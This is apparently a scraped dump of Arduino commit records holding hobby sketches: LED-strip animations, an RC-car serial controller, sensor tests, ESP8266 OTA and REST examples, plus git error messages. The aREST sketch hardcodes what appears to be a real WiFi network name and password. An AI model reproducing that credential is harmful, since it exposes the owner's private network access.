67, 67, 67, 67, 67, 67, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71};\n\n\/\/ 64 @ 2.0\n\/\/ int sin198_translation[198] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 4, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 9, 10, 10, 11, 11, 11, 12, 12, 12, 13, 13, 14, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22, 23, 23, 24, 24, 25, 25, 26, 26, 27, 27, 28, 28, 29, 29, 30, 30, 31, 31, 32, 32, 33, 33, 34, 34, 34, 35, 35, 36, 36, 37, 37, 38, 38, 39, 39, 40, 40, 41, 41, 42, 42, 43, 43, 44, 44, 45, 45, 45, 46, 46, 47, 47, 48, 48, 49, 49, 49, 50, 50, 51, 51, 51, 52, 52, 53, 53, 53, 54, 54, 54, 55, 55, 55, 56, 56, 56, 57, 57, 57, 57, 58, 58, 58, 59, 59, 59, 59, 60, 60, 60, 60, 60, 61, 61, 61, 61, 61, 61, 62, 62, 62, 62, 62, 62, 62, 62, 63, 63, 63, 63, 63, 63, 63, 63, 63, 63, 63};\n\n#define WARPED sin223_translation\n\n\n#define NUM_OBJECTS 6\n\n\/\/#define MIN_PERIOD 50\n\/\/#define MAX_PERIOD 100\n\n#define WIDTH 3\n\n#define DECAY 0.0\n\nunsigned char bitmask[8] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80};\n\nrgb_color scale_color(rgb_color color, float scale){\n return (rgb_color){\n ((color.red \/ BRIGHTNESS_DIVISOR) * 255) * scale, \n ((color.green \/ BRIGHTNESS_DIVISOR) * 255) * scale, \n ((color.blue \/ BRIGHTNESS_DIVISOR) *255) * scale\n };\n}\n\nvoid set_brightness(int brightness_percent = BRIGHTNESS_PERCENT){\n float percent = brightness_percent \/ 100.0;\n for(int i = 0; i < NPALETTE; i++){\n adjusted_palette[i] = scale_color(palette[i], percent);\n }\n}\n\nvoid flood(rgb_color color){\n for(int i = 0; i < LED_COUNT; i++){\n colors[i] = color;\n }\n}\n\nvoid erase(){\n flood(black);\n}\n\nvoid fade(float rate = FADE_RATE){\n unsigned char *p;\n p = (unsigned char *)colors; \n for(int i = 0; i < LED_COUNT * 3; i++){\n *(p + i) *= rate;\n }\n}\n\nvoid fade_fast(){\n unsigned char *p;\n p = (unsigned char *)colors; \n for(int i = 0; i < LED_COUNT * 3; i++){\n *(p + i) = *(p + i) >> 1;\n }\n}\n\nvoid fade_fast2(int rate = FADE_RATE){\n unsigned char *p;\n p = (unsigned char *)colors; \n for(int i = 0; i < LED_COUNT * 3; i++){\n *(p + i) = max(0, *(p + i) - rate);\n }\n}\n\nfloat random_dir(){\n float result = ((random(RESOLUTION) \/ RESOLUTION) * (MAX_SPEED - MIN_SPEED)) + MIN_SPEED;\n\n result = random(2) == 1 ? result : result * -1.0;\n\n return result;\n \n \/\/int range = random(RESOLUTION - MIN_SPEED) + MIN_SPEED;\n \/\/return (range \/ (RESOLUTION * 1.0)) - 0.5;\n}\n\nint random_color(){\n return random(NPRETTY_COLORS);\n}\n\nint reflect_i(int *i, int *d, int mx, int mn = 0){\n int ld = *d;\n int next = *i + *d;\n if(next > mx || next < mn){\n *d *= -1;\n }\n *i += *d;\n\n int dir = 0;\n if(*d > ld){\n dir = 1;\n } else if(*d < ld){\n dir = -1;\n }\n return dir; \n}\n\nbool position_occupied(int pos, int id){\n return (existence[pos] & ~bitmask[id]) == 0 ? false : true;\n}\n\nfloat reflect_f(float *f, float *d, int id, float mx = 1.0, float mn = 0.0){\n float ld = *d;\n float last = *f;\n float next = *f + *d;\n\n\/\/ int lasti = WARPAGE[int(last)];\n\/\/ int nexti = WARPAGE[int(next)];\n int lasti = int(last);\n int nexti = int(next);\n \n\/\/ bool clash = (nexti != lasti) && position_occupied(nexti, id);\n bool clash = position_occupied(nexti, id);\n \n if(next > mx || next < mn || clash){\n *d *= -1.0;\n }\n *f += *d;\n\n int dir = 0;\n if(*d > ld){\n dir = 1;\n } else if(*d < ld){\n dir = -1;\n }\n return dir;\n}\n\nint wrap_i(int i, int d, int mx){\n int next = i + d;\n if(next >= mx){\n return 0;\n } else {\n return next;\n }\n}\n\nfloat wrap_f(float f, float d, float mx = 1.0){\n float next = f + d;\n if(next >= mx){\n return 0.0;\n } else {\n return next;\n }\n}\n\nrgb_color add_color(rgb_color color1, rgb_color color2){\n rgb_color new_color;\n new_color.red = min(255, color1.red + color2.red);\n new_color.green = min(255, color1.green + color2.green);\n new_color.blue = min(255, color1.blue + color2.blue);\n return new_color;\n}\n\nrgb_color subtract_color(rgb_color color1, rgb_color color2){\n rgb_color new_color;\n new_color.red = max(0, color1.red - color2.red);\n new_color.green = max(0, color1.green - color2.green);\n new_color.blue = max(0, color1.blue - color2.blue);\n return new_color;\n}\n\n\/\/swaps red & green, needed on led strands, not on strips\nvoid setup_colors(bool swap = true){\n if(swap == true){\n for(int i = 0; i < NPALETTE; i++){\n unsigned char value = palette[i].red;\n palette[i].red = palette[i].green; \n palette[i].green = value;\n }\n }\n memcpy(adjusted_palette, palette, sizeof(palette));\n}\n\nvoid setup()\n{\n randomSeed(analogRead(0));\n setup_colors(false);\n set_brightness();\n\n for(int i = 0; i < VLED_COUNT; i++){\n existence[i] = 0;\n }\n\n set_brightness(BRIGHTNESS_PERCENT);\n\n generate_shift_ease(EASE_COUNT, EASE_EXPONENT);\n}\n\n\/*\n#define MAX_BRIGHTNESS 20.0\n#define BRIGHTNESS_STEP 2.0\n*\/\n\nvoid poof(int color, int times=10, int brightness=50){\n set_brightness(brightness);\n for(int i = 0; i < times; i++){\n flood(black);\n ledStrip.write(colors, LED_COUNT);\n delay(33);\n flood(adjusted_palette[color]);\n ledStrip.write(colors, LED_COUNT);\n delay(33);\n }\n\n flood(black);\n ledStrip.write(colors, LED_COUNT);\n delay(33);\n}\n\n\/*\nvoid draw(rgb_color color, int pos, int num = 1){\n int side = num \/ 2;\n int left = max(0, pos - side);\n int right = min(LED_COUNT - 1, pos + side);\n\n for(int i = left; i <= right; i++){\n colors[i] = add_color(colors[i], color);\n }\n}\n*\/\n\nvoid draw(rgb_color color, int pos, int id = 0){\n if(pos < 0 || pos >= LED_COUNT) return;\n \/\/int warped = WARPED[pos];\n colors[pos] = add_color(colors[pos], color);\n existence[pos] |= bitmask[id];\n}\n\nvoid undraw(rgb_color color, int pos, int id = 0){\n if(pos < 0 || pos >= LED_COUNT) return;\n \/\/int warped = WARPED[pos];\n \/\/colors[warped] = subtract_color(colors[warped], color);\n existence[pos] &= ~bitmask[id];\n}\n\nfloat decay(float value){\n float orig = value;\n if(value >= 0){\n value -= DECAY;\n if(value < 0){\n value = random_dir(); \n }\n } else {\n value += DECAY;\n if(value > 0){\n value = random_dir(); \n }\n }\n return value;\n}\n\nfloat ease_power_in(float percent, int power){\n return pow(percent, power);\n}\n\nfloat ease_power_out(float percent, int power){\n return 1 - pow(1 - percent, power);\n}\n\nfloat ease_elastic_out(float percent){\n return sin(-13 * M_PI_2 * (percent + 1)) * pow(2, -10 * percent) + 1; \n}\n\/\/ elastic in: return sin(13 * M_PI_2 * p) * pow(2, 10 * (p - 1));\n\nvoid generate_power_ease(int count, int power){\n float midpoint = count \/ 2;\n for(int i = 0; i < midpoint; i++){\n float percent = i \/ midpoint;\n ease[i] = 0.5 * (ease_power_in(percent, power));\n ease[i + int(midpoint)] = (0.5 * (ease_power_out(percent, power))) + 0.5;\n }\n}\n\n\/\/ power ease in then elastic ease out\nvoid generate_shift_ease(int count, int power){\n float midpoint = count \/ 2;\n for(int i = 0; i < midpoint; i++){\n float percent = i \/ midpoint;\n ease[i] = 0.5 * (ease_power_in(percent, power));\n ease[i + int(midpoint)] = (0.5 * (ease_elastic_out(percent))) + 0.5;\n }\n}\n\nvoid flush(){\n ledStrip.write(colors, LED_COUNT);\n}\n\n\/\/#define MIN_SIZE 4\n\nvoid loop()\n{\n int lx = 0;\n int x = 0;\n \n while(true){\n lx = x;\n x = random(ANIM_LED_COUNT);\n rgb_color color = adjusted_palette[random_color()];\n\n int anim_start = lx;\n int anim_width = x - lx;\n int anim_dir = anim_width < 0 ? -1 : 1;\n if(anim_dir == -1){\n anim_width *= -1;\n anim_start = x;\n }\n\n for(int i = 0; i < EASE_COUNT; i++){\n fade_fast();\n int pos = ease[i] * anim_width;\n\n if(anim_dir == -1){\n pos = anim_width - pos;\n } \n\n draw(color, pos + anim_start);\n flush(); \n delay(EASE_DELAY);\n }\n }\n\n\/\/ for(int i = 0; i < FADE_COUNT; i++){\n\/\/ fade_fast();\n\/\/ draw(white, ANIM_LED_COUNT-1);\n\/\/ flush(); \n\/\/ delay(EASE_DELAY);\n\/\/ }\n\/\/\n\/\/ erase();\n \n\/\/ for(int i = EASE_COUNT - 1; i >= 0; i--){\n\/\/ fade_fast();\n\/\/ int x = ease[i] * (LED_COUNT - ANIM_MARGIN);\n\/\/ if(x >= 0 && x < LED_COUNT){\n\/\/ draw(adjusted_palette[e], x);\n\/\/ }\n\/\/ flush(); \n\/\/ delay(EASE_DELAY);\n\/\/ }\n\n\/\/ delay(DELAY);\n\/\/ }\n\n return;\n\n\/\/ float x[NUM_OBJECTS];\n\/\/ float dx[NUM_OBJECTS];\n\/\/ int lx[NUM_OBJECTS];\n\/\/ int group[NUM_OBJECTS];\n\/\/ int period[NUM_OBJECTS];\n\/\/ int count[NUM_OBJECTS];\n\/\/ bool state[NUM_OBJECTS];\n\/\/ \/\/ int change[NUM_OBJECTS];\n\/\/ rgb_color show_color[NUM_OBJECTS];\n\n\/\/ int choices[NGROUPS];\n\/\/ for(int i = 0; i < NGROUPS; i++){\n\/\/ choices[i] = -1;\n\/\/ }\n\n\/*\n for(int i = 0; i < NGROUPS; i++){\n while(true){\n int color = random(NGROUPS);\n \n bool try_again = false;\n for(int j = 0; j < i; j++){\n if(color == choices[j]){\n try_again = true;\n break;\n }\n }\n if(try_again == true){\n continue;\n }\n\n choices[i] = color;\n break;\n } \n }\n*\/\n\/\/ for(int i = 0; i < NUM_OBJECTS; i++){\n\/\/ x[i] = i * (VLED_COUNT \/ NUM_OBJECTS);\n\/\/ dx[i] = random_dir(); \n\/\/\/\/ dx[i] = 1.0;\n\/\/ lx[i] = -1;\n\/\/\/\/ period[i] = random(MIN_PERIOD, MAX_PERIOD);\n\/\/\/\/ count[i] = period[i];\n\/\/\/\/ state[i] = false;\n\/\/ }\n\/\/\n\/\/ rgb_color random_colors[NUM_OBJECTS];\n\/\/ for(int i = 0; i < NUM_OBJECTS; i++){\n\/\/\/\/ group[i] = choices[i % NGROUPS];\n\/\/\/\/ random_colors[i] = adjusted_palette[random(group_start[group[i]], group_max[group[i]])];\n\/\/ random_colors[i] = adjusted_palette[i];\n\/\/\/\/ show_color[i] = random_colors[i];\n\/\/ }\n\/\/\n\/\/ while(true){\n\/\/ \/\/fade();\n\/\/ \/\/erase();\n\/\/ fade_fast();\n\/\/ \/\/fade_fast2();\n\/\/\n\/\/ for(int i = 0; i < NUM_OBJECTS; i++){\n\/\/ \/\/change[i] = \n\/\/ reflect_f(&x[i], &dx[i], i, MAX_VLED);\n\/\/\n\/\/ \/\/dx[i] = decay(dx[i]);\n\/\/\n\/\/\/\/ int tpos = WARPAGE[int(x[i])];\n\/\/ int tpos = int(x[i]);\n\/\/\/\/ if(tpos != lx[i]){\n\/\/ undraw(random_colors[i], lx[i], i);\n\/\/ draw(random_colors[i], tpos, i);\n\/\/ lx[i] = tpos;\n\/\/\/\/ }\n\/\/ \n\/\/\/\/ if(lx != x[i]){\n\/\/\/\/ int lpos = sin223_translation[int(lx)];\n\/\/\/\/ }\n\/\/ }\n\n\/*\n for(int i = 0; i < NUM_OBJECTS; i++){\n if(change[i] == 0){\n if(position_occupied(int(x[i]), i)){\n dx[i] *= -1.0;\n }\n }\n }\n*\/\n\n\/\/ ledStrip.write(colors, LED_COUNT); \n\/\/ delay(DELAY);\n\/\/ }\n\n\n}\n\nint low_limit(int value, int limit){\n return value < limit ? limit : value; \n}\n\nint high_limit(int value, int limit){\n return value > limit ? limit : value; \n}\n\nint keep_in(int value, int lower, int upper){\n return low_limit(high_limit(value, upper), lower);\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/shooting_colors\/shooting_colors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e7e9293cc62fef4e61bc95407a78465209cef975","subject":"Delete D1M-WX1_IoT-APRS.ino","message":"Delete D1M-WX1_IoT-APRS.ino","repos":"W4KRL\/D1M-WX1-Weather-Station","old_file":"D1M-WX1_IoT-APRS\/D1M-WX1_IoT-APRS.ino","new_file":"D1M-WX1_IoT-APRS\/D1M-WX1_IoT-APRS.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/W4KRL\/D1M-WX1-Weather-Station.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e87eaa9198c6d19b7fef8bc9dca2e6c43db11add","subject":"little change","message":"little change\n","repos":"TEAMarg\/ID-37-DICE,TEAMarg\/ID-37-DICE","old_file":"DICE_DEV\/DICE_DEV.ino","new_file":"DICE_DEV\/DICE_DEV.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/ID-37-DICE.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"906a06a71ad24fb5982d37cb989315c5de2f2634","subject":"Pince: update angle de la pince","message":"Pince: update angle de la pince\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement\/Moteur_deplacement.ino","new_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement\/Moteur_deplacement.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Pince\/Moteur_deplacement\/Moteur_deplacement\/Moteur_deplacement.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"20186b215c3322c94476acae94d49a531a4338f6","subject":"add arduino sketch","message":"add arduino sketch\n","repos":"indrekots\/rc-car-controller","old_file":"rc-car-arduino\/optocoupler-test.ino","new_file":"rc-car-arduino\/optocoupler-test.ino","new_contents":"int backwardsPin = 2;\nint forwardsPin = 3;\nint leftPin = 4;\nint rightPin = 5;\n\nint incomingByte = 0;\n\nbool forwardsPressed = false;\nbool backwardsPressed = false;\nbool rightPressed = false;\nbool leftPressed = false;\n\nconst int FORWARDS_PRESSED = 1;\nconst int FORWARDS_RELEASED = 2;\nconst int BACKWARDS_PRESSED = 131;\nconst int BACKWARDS_RELEASED = 4;\nconst int RIGHT_PRESSED = 133;\nconst int RIGHT_RELEASED = 134;\nconst int LEFT_PRESSED = 7;\nconst int LEFT_RELEASED = 8;\n\nvoid setup() {\n pinMode(backwardsPin, OUTPUT);\n pinMode(forwardsPin, OUTPUT);\n pinMode(leftPin, OUTPUT);\n pinMode(rightPin, OUTPUT);\n Serial.begin(115200);\n}\n\nvoid loop() {\n if (Serial.available() > 0) {\n incomingByte = Serial.read();\n \n\n }\n}\n\nvoid detectKeyPresses() {\n if (incomingByte == FORWARDS_PRESSED) {\n forwardsPressed = true;\n }\n else if (incomingByte == BACKWARDS_PRESSED) {\n backwardsPressed = true;\n }\n\n if (incomingByte == FORWARDS_RELEASED) {\n forwardsPressed = false;\n }\n else if (incomingByte == BACKWARDS_RELEASED) {\n backwardsPressed = false;\n }\n\n if (incomingByte == RIGHT_PRESSED) {\n rightPressed = true;\n }\n else if (incomingByte == LEFT_PRESSED) {\n leftPressed = true; \n }\n\n if (incomingByte == RIGHT_RELEASED) {\n rightPressed = false;\n }\n else if (incomingByte == LEFT_RELEASED) {\n leftPressed = false;\n }\n}\n\nvoid handlePinOutputs() {\n if (forwardsPressed == true) {\n digitalWrite(forwardsPin, HIGH);\n }\n else {\n digitalWrite(forwardsPin, LOW);\n }\n\n if (backwardsPressed == true) {\n digitalWrite(backwardsPin, HIGH);\n }\n else {\n digitalWrite(backwardsPin, LOW);\n }\n\n if (rightPressed == true) {\n digitalWrite(rightPin, HIGH);\n }\n else {\n digitalWrite(rightPin, LOW);\n }\n\n if (leftPressed == true) {\n digitalWrite(leftPin, HIGH);\n }\n else {\n digitalWrite(leftPin, LOW);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rc-car-arduino\/optocoupler-test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a1c183419c09c3128b5dbbaa3d8ebb08409bbd6e","subject":"added a sketch to try out the datalogging method","message":"added a sketch to try out the datalogging method\n","repos":"gskielian\/Arduino-DataLogging,gskielian\/Arduino-DataLogging,gskielian\/Arduino-DataLogging","old_file":"GNU-Screen\/example.ino","new_file":"GNU-Screen\/example.ino","new_contents":"\/\/some Arduino code to test out the GNU-Screen method\nvoid setup() {\n Serial.begin(9600);\n}\n\n\nvoid loop() {\n Serial.println(analogRead(A0)); \/\/it's okay to leave AO floating in this example, as it is just there to provide live data)\n delay(100);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GNU-Screen\/example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"255c5c6d70ef89b5abd5db6d7a876cfa10d4db73","subject":"added potentiometer test","message":"added potentiometer test\n","repos":"Eli-Woods\/arduino,Eli-Woods\/arduino,Eli-Woods\/arduino,Eli-Woods\/arduino","old_file":"proj\/pot_test\/pot_test.ino","new_file":"proj\/pot_test\/pot_test.ino","new_contents":"void setup() {\n Serial.begin(9000);\n\n}\n\nvoid loop() {\n Serial.println(\"RATE: \");\n Serial.println(analogRead(0));\n Serial.println(\"HUE: \");\n Serial.println(analogRead(1));\n Serial.println(\"VAL: \");\n Serial.println(analogRead(2));\n Serial.println(\"STROBE: \");\n Serial.println(analogRead(3));\n\n delay(400);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'proj\/pot_test\/pot_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8535f51e63f7b11d825ba2851a4bfb394329d0e3","subject":"Example","message":"Example\n","repos":"arachnidlabs\/minishift-arduino,arachnidlabs\/minishift-arduino","old_file":"examples\/serialwrite\/serialwrite.ino","new_file":"examples\/serialwrite\/serialwrite.ino","new_contents":"#include <glcdfont.h>\n#include <minishift.h>\n\nMinishift ms(3, 2, 4); \/\/ data_pin, clock_pin, latch_pin\n\nvoid setup() {\n Serial.begin(57600);\n}\n\nvoid loop() {\n char buf[64];\n \n while(1) {\n int len = Serial.readBytesUntil('\\n', buf, 63);\n buf[len] = '\\0';\n ms.writeString(buf);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/serialwrite\/serialwrite.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"dd87714fcee9aaeec30b5d7f5855c774d691e701","subject":"initial add","message":"initial add\n","repos":"solohm\/multimeter,solohm\/multimeter","old_file":"src\/babysteps\/BasicOTA\/BasicOTA.ino","new_file":"src\/babysteps\/BasicOTA\/BasicOTA.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <ESP8266mDNS.h>\n#include <WiFiUdp.h>\n#include <ArduinoOTA.h>\n\nconst char* ssid = \"user\";\nconst char* password = \"pass\";\nuint32_t timeout;\n\n#define HOSTNAME \"solohm-mm-\"\n\nWiFiUDP udp;\nunsigned int port = 12345;\nIPAddress broadcastIp;\n\nvoid broadcast(char * message) {\n udp.beginPacketMulticast(broadcastIp, port, WiFi.localIP());\n udp.write(message);\n udp.endPacket();\n}\n\nvoid broadcastStatus() {\n String message(\"{\\\"nodeid\\\":\");\n\n message.concat(\"\\\"\");\n message.concat(HOSTNAME);\n message.concat(String(ESP.getChipId(),HEX));\n message.concat(\"\\\"\");\n message.concat(\",\\\"uptime\\\":\");\n message.concat(millis());\n message.concat(\"}\");\n\n broadcast((char *)message.c_str());\n \n Serial.println(message);\n}\nvoid setup() {\n pinMode(LED_BUILTIN, OUTPUT);\n\n Serial.begin(115200);\n Serial.println(\"BasicOTA setup\");\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n while (WiFi.waitForConnectResult() != WL_CONNECTED) {\n Serial.println(\"Connection Failed! Rebooting...\");\n delay(5000);\n ESP.restart();\n }\n\n \/\/ Port defaults to 8266\n \/\/ ArduinoOTA.setPort(8266);\n\n \/\/ Hostname defaults to esp8266-[ChipID]\n \/\/ ArduinoOTA.setHostname(\"myesp8266\");\n\n String hostname(HOSTNAME);\n hostname += String(ESP.getChipId(), HEX);\n ArduinoOTA.setHostname((const char *)hostname.c_str());\n\n\n \/\/ No authentication by default\n \/\/ ArduinoOTA.setPassword((const char *)\"123\");\n\n ArduinoOTA.onStart([]() {\n Serial.println(\"arduinoOTA start\");\n digitalWrite(LED_BUILTIN, HIGH);\n });\n ArduinoOTA.onEnd([]() {\n Serial.println(\"\\arduinoOTA end\");\n digitalWrite(LED_BUILTIN, HIGH);\n });\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n Serial.printf(\"Progress: %u%%\\r\", (progress \/ (total \/ 100)));\n digitalWrite(LED_BUILTIN, !digitalRead(LED_BUILTIN));\n\n });\n ArduinoOTA.onError([](ota_error_t error) {\n Serial.printf(\"Error[%u]: \", error);\n if (error == OTA_AUTH_ERROR) Serial.println(\"Auth Failed\");\n else if (error == OTA_BEGIN_ERROR) Serial.println(\"Begin Failed\");\n else if (error == OTA_CONNECT_ERROR) Serial.println(\"Connect Failed\");\n else if (error == OTA_RECEIVE_ERROR) Serial.println(\"Receive Failed\");\n else if (error == OTA_END_ERROR) Serial.println(\"End Failed\");\n });\n ArduinoOTA.begin();\n Serial.println(\"Ready\");\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n Serial.println(hostname);\n\n broadcastIp = ~WiFi.subnetMask() | WiFi.gatewayIP();\n Serial.print(\"broadcast address: \");\n Serial.println(broadcastIp);\n\n\n\n udp.begin(WiFi.localIP());\n \n broadcast(\"setup\");\n}\n\nvoid loop() {\n ArduinoOTA.handle();\n yield();\n if (millis() > timeout) {\n digitalWrite(LED_BUILTIN, !digitalRead(LED_BUILTIN));\n timeout = millis() + 1000;\n broadcastStatus();\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/babysteps\/BasicOTA\/BasicOTA.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ac53d10c3c885e6f9e2fd7614bbd4627e0292e56","subject":"Initial commit","message":"Initial commit\n","repos":"pads\/arduino-learning","old_file":"project2\/project2.ino","new_file":"project2\/project2.ino","new_contents":"\/*\n This sketch is a modified version of Project 2 (Spaceship Interface) \n in the Arduino Starter Kit\n \n Parts required:\n 1 green LED \n 2 red LEDs\n pushbutton\n 10 kilohm resistor\n 3 220 ohm resistors\n \n Original code created 13 September 2012 by Scott Fitzgerald\n*\/\n\n\/\/ Store the voltage state of the pushbutton switch\nint switchstate = 0;\n\nvoid setup(){\n \/\/ declare the LED pins as outputs \n pinMode(3,OUTPUT);\n pinMode(4,OUTPUT);\n pinMode(5,OUTPUT);\n\n \/\/ declare the switch pin as an input \n pinMode(2,INPUT);\n}\n\nvoid loop(){\n\n int pinTwo = 2, pinThree = 3, pinFour = 4, pinFive = 5;\n int timeInMilliseconds = 250;\n \n \/\/ check for voltage on pin 2\n switchstate = digitalRead(pinTwo);\n\n \/\/ if the button is not pressed\n \/\/ blink the red LEDs \n if (switchstate == LOW) {\n digitalWrite(pinThree, HIGH); \/\/ turn the green LED on\n digitalWrite(pinFour, LOW); \/\/ turn the red LED off\n digitalWrite(pinFive, LOW); \/\/ turn the red LED off\n } else {\n \/\/ switch state is high, meaning it has been pressed. \n digitalWrite(pinThree, LOW); \/\/ turn the green LED off\n digitalWrite(pinFour, LOW); \/\/ turn the red LED off\n digitalWrite(pinFive, HIGH); \/\/ turn the red LED on\n\n delay(timeInMilliseconds);\n digitalWrite(pinFour, HIGH); \/\/ turn the red LED on\n digitalWrite(pinFive, LOW); \/\/ turn the red LED off\n\n delay(timeInMilliseconds);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'project2\/project2.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"73339a0ee61b4fec0dea892006f87bb447650e7f","subject":"Add shift_register_leds sketch","message":"Add shift_register_leds sketch\n","repos":"lakenen\/arduino,lakenen\/arduino","old_file":"shift_register_leds\/shift_register_leds.ino","new_file":"shift_register_leds\/shift_register_leds.ino","new_contents":"\/\/Pin connected to ST_CP of 74HC595\nint latchPin = 8;\n\/\/Pin connected to SH_CP of 74HC595\nint clockPin = 12;\n\/\/\/\/Pin connected to DS of 74HC595\nint dataPin = 11;\n\n\/\/for the attiny85, use these pins\n\/\/ \/\/Pin connected to DS of 74HC595\n\/\/ int dataPin = 0;\n\/\/ \/\/Pin connected to ST_CP of 74HC595\n\/\/ int latchPin = 1;\n\/\/ \/\/Pin connected to SH_CP of 74HC595\n\/\/ int clockPin = 2;\n\n\nvoid setup() {\n \/\/set pins to output so you can control the shift register\n pinMode(latchPin, OUTPUT);\n pinMode(clockPin, OUTPUT);\n pinMode(dataPin, OUTPUT);\n}\n\nvoid loop() {\n \/\/ count from 0 to 255 and display the number\n \/\/ on the LEDs\n for (int numberToDisplay = 0; numberToDisplay < 256; numberToDisplay++) {\n \/\/ take the latchPin low so\n \/\/ the LEDs don't change while you're sending in bits:\n digitalWrite(latchPin, LOW);\n \/\/ shift out the bits:\n shiftOut(dataPin, clockPin, MSBFIRST, numberToDisplay);\n\n \/\/take the latch pin high so the LEDs will light up:\n digitalWrite(latchPin, HIGH);\n \/\/ pause before next value:\n delay(500);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'shift_register_leds\/shift_register_leds.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9ce173f74d6f6e72f330691df9927dcba9752138","subject":"adding ESP8622 script","message":"adding ESP8622 script\n","repos":"victoraldir\/IRControlBT","old_file":"device-script\/IRControlESPVersion.ino","new_file":"device-script\/IRControlESPVersion.ino","new_contents":"\/*\n This a simple example of the aREST Library for the ESP8266 WiFi chip.\n See the README file for more details.\n\n Written in 2015 by Marco Schwartz under a GPL license.\n*\/\n\n\/\/ Import required libraries\n#include <ESP8266WiFi.h>\n#include <aREST.h>\n\n\/\/ Create aREST instance\naREST rest = aREST();\n\n\/\/ WiFi parameters\nconst char* ssid = \"VHMAS\";\nconst char* password = \"99552018vh\";\n\n#define LIGHTWEIGHT 1\n\/\/ The port to listen for incoming TCP connections\n#define LISTEN_PORT 80\n\/\/ Time MAX of waiting for a command\n#define TIMEOUT 3000\n\n\/\/ Create an instance of the server\nWiFiServer server(LISTEN_PORT);\n\n\/\/ Variables to be exposed to the API\nString ircode;\n\n\/\/ Declare functions to be exposed to the API\nint sendCommand(String command);\nint receiveCommand(String command);\n\nvoid setup(void)\n{\n \/\/ Start Serial\n Serial.begin(115200);\n\n \/\/ Init variables and expose them to REST API\n ircode = \"empty\";\n rest.variable(\"code\",&ircode);\n \n \/\/ Function to be exposed\n rest.function(\"send\",sendCommand);\n rest.function(\"receive\",receiveCommand);\n\n \/\/ Give name & ID to the device (ID should be 6 characters long)\n rest.set_id(\"1\");\n rest.set_name(\"ircontroldevice\");\n\n \/\/ Connect to WiFi\n WiFi.begin(ssid, password);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n\n \/\/ Start the server\n server.begin();\n Serial.println(\"Server started\");\n\n \/\/ Print the IP address\n Serial.println(WiFi.localIP());\n}\n\nvoid loop() {\n\n \/\/ Handle REST calls\n WiFiClient client = server.available();\n if (!client) {\n return;\n }\n while(!client.available()){\n delay(1);\n }\n rest.handle(client);\n\n}\n\n\/\/ Custom function accessible by the API\n\/\/ Wait the command for 5 seconds.\nint receiveCommand(String command){\n\n int timeStart = millis();\n boolean flag = true;\n while(flag){\n\n \/\/Serial.println(\"Waiting for command\");\n if((millis() - timeStart) > TIMEOUT){\n \/\/TODO Implement code reception here\n flag = false;\n }\n\n }\n \n return 1;\n}\n\n\n\/\/ TODO Implement send command here\nint sendCommand(String command) {\n\n \n \n return 1;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'device-script\/IRControlESPVersion.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} 